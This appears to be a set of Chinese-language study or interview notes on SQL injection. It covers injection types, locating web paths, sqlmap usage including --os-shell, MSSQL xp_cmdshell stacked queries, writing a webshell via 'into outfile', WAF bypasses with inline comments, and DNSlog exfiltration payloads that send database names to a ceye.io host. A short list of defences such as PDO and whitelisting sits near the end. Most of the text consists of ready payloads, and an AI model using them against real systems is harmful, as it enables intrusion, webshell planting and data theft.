宽字符注入、hex 编码绕过(尝试利用 ANSI 字符代码变体来达到目的 比如 " 号对应 chr(34) 是否成功取决于他本身程序是否也做了过滤.)
Chr(34),由 ASCII 码生成字符,34 就是双引号的 ASCII 码,Chr(34)等价于字符"(双引号)
1.通过报错' 和随便打点字母
2. baidu、google等查找搜索引擎site:限定域名搜索instert erro(带有错误)
3. 加载网址的默认路径或者配置文件或中间件配置文件
4.系统交互的shell --os-shell (会爆出路径)
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1 --os-shell
5.通过sqlserver的dbowner相关语句
drop table black;create Table black(result varchar(7996) null, id int not null identity (1,1))--insert into black exec master..xp_cmdshell 'dir /s c:\1.aspx'--
and (select result from black where id=4)>0--
httpd.conf apache配置文件
MetaBase.xml IIS配置文件
php.ini php配置信息
my.ini MYSQL配置文件
1.要知道远程web目录 需要mysql root权限
2.需要远程目录有写权限
3.需要数据库开启secure_file_priv 相当于secure_file_priv的值为空,不为空时不充许写入webshell (默认不开启,需要修改mysql.ini配置文件)
1、更改了数据库端口,没有扫描出来。
2、站库分离。(源代码和数据库在不同的主机)
3、3306端口不对外开放
union(联合)注入
基于函数报错注入
堆叠注入
宽字节注入
盲注
updatexml
extractvalue
floor
基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
基于布尔型SQL盲注:XXX' and ascii(substr(database(),1,1))=112#
基于时间型SQL盲注:XXX' and sleep(x)#
都是一个字符一个字符的判断
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
Cookices注入绕过
最低权限都可以查找帐号和密码,如mssql sa权限可以获取系统权限,dbowner可以获取Webshell,public可以脱库;mysql root权限、知道网站的绝对路径、数据库my.ini配置文件secure_file_priv值为空时,就可以获取webshell并执行操作系统命令。
在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了这个时候可以尝试寻找网站的配置文件直接上菜刀链接。
1. sqlserver拥有dbowner权限通过master..xp_cmd语句上传木马获取webshell 权限
2. mysql有写入权限的,构造联合查询语句使用union select ....into outfile上传一句话木马获取webshell 权限(mysql)
3.可以将查询的输出重定向,到系统的文件中,这样去写入WebShell 使用sqlmap –os-shell 原理和上面一种相同,来直接获得一个Shell,这样效率更高
4.sqlmap --file-write 写一个文件传入系统,可以获取wenshell 权限(前提条件my.ini中的secure_file_priv=""要为空)
1.如果是get注入,直接,sqlmap -u "注入点网址".
python2 sqlmap.py -u http://10.0.0.130:90/sql.php?id=1
2.如果是post注入,可以sqlmap –r "burp地址访问包”
sqlmap.py -r post.txt -p
3.如果是cookie,X-Forwarded-For等,可以访问的时候,用burpsuite抓包,注入处用号替换,放到文件里,然后sqlmap -r "文件地址",记得加上—level 3参数
python2 sqlmap.py -r e:\1.txt --level=3
demo.do?DATA=AjAxNg== DATA有可能经过了base64 编码再传入服务器,所以我们也要对参数进行base64 编码才能正确完成测试
union select "",2 into outfile "C:\\phpStudy\\WWW\\123.php"+--+&Submit=Submit
1、涵数过滤,如!is_numeric涵数
2、直接下载相关防范注入文件,通过incloud包含放在网站配置文件里面
3、使用白名单来规范化输入验证方法
4、采用PDO预处理
5、使用Waf拦截
如果and if被waf拦截,我们可以使用内联注释来绕过函数的检测
xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23
在实际中如果我们在注入语句中有逗号就可能被拦截,这个时候我们可以用join来绕过
mysql>user select _id,user,password from users union select 1,2,3;
mysql> select user_id,user,password from users union select * from ((select 1)A join (select 2)B join (select 3)C);
下面代替上面
(1)没有回显的情况下,一般编写脚本,进行自动化注入。但与此同时,由于防火墙的存在,容易被封禁IP,可以尝试调整请求频率,有条件的使用代理池进行请求。
(2)此时也可以使用DNSlog 注入,原理就是把服务器返回的结果放在域名中,然后读取DNS 解析时的日志,来获取想要的信息。
(3)Mysql 中利用load_file() 构造payload
‘and if((select load_file(concat(‘\\\\’,(select database()),’.xxx.ceye.io\\abc’))),1,0)#(4)Mssql 下利用master..xp_dirtree构造payload DECLARE @host varchar(1024);SELECT @host=(SELECT db_name())+’.xxx.ceye.io’;EXEC(‘master..xp_dirtree”\’+@host+’\foobar$”‘);
不能。
类似于宽字节注入
$pdo->query('SET NAMES gbk');$var = "\xbf\x27 OR 1=1 /*";$query = 'SELECT * FROM test WHERE name = ? LIMIT 1';$stmt = $pdo->prepare($query);$stmt->execute(array($var));
参数name是一串数组,PDO不会生效
$dbh = newPDO("txf");
$name = $_GET['name'];
$stmt = $dbh->prepare('SELECT * FROM '. $name . ' where username = :username');
$stmt->execute( array(':username'=> $_REQUEST['username']));PDO对DDL不生效
$stmt = $dbh->prepare('SELECT * FROM foo ORDER BY :userSuppliedData');
Version()、user()、databases()、SCHEMA()(线程)